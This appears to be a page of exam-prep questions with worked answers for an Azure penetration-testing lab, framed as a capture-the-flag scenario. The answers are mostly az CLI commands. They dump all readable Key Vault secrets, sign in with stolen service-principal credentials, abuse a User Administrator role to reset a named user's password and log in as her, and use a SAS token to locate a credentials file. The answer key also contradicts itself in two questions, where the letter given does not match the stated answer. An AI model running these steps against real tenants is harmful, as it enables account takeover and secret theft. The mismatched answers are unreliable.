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| Section | Objectives |
|---|---|
| Real-world Azure Attack Chains (CTF Scenario) | - Flag/goal-based task completion in live environment - Multi-step exploitation chain from initial access to privilege escalation |
| Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Azure Cloud Attack Surface Enumeration | - Identity and access enumeration (Azure AD / Entra ID) - Azure resource discovery and recon |
| Azure Identity & Authentication Exploitation | - Privilege escalation via misconfigured roles - Token / credential abuse scenarios |
| Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
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NEW QUESTION # 17
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
NEW QUESTION # 18
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: B
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 19
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
Answer: A
Explanation:
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= " excaliburstore "
SAS= " < recovered-sas-token > "
List containers:
az storage container list \
--account-name " $ACCOUNT " \
--sas-token " $SAS " \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name sensitive-files \
--sas-token " $SAS " \
--output table
Final answer:
C). sensitive-files
NEW QUESTION # 20
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 21
Using a discovered SAS token with read/list permissions, enumerate blobs inside the sensitive-exports container. Which file contains credentials?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
service-principal-creds.json
Detailed Solution:
Set variables:
ACCOUNT= " prodreportstore01 "
CONTAINER= " sensitive-exports "
SAS= " ?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z & sig= < signature > " List blobs:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name " $CONTAINER " \
--sas-token " $SAS " \
--query " [].name " \
--output table
Expected output:
Name
----------------------------
monthly-report.csv
service-principal-creds.json
readme.txt
The credential file is:
service-principal-creds.json
================
NEW QUESTION # 22
......
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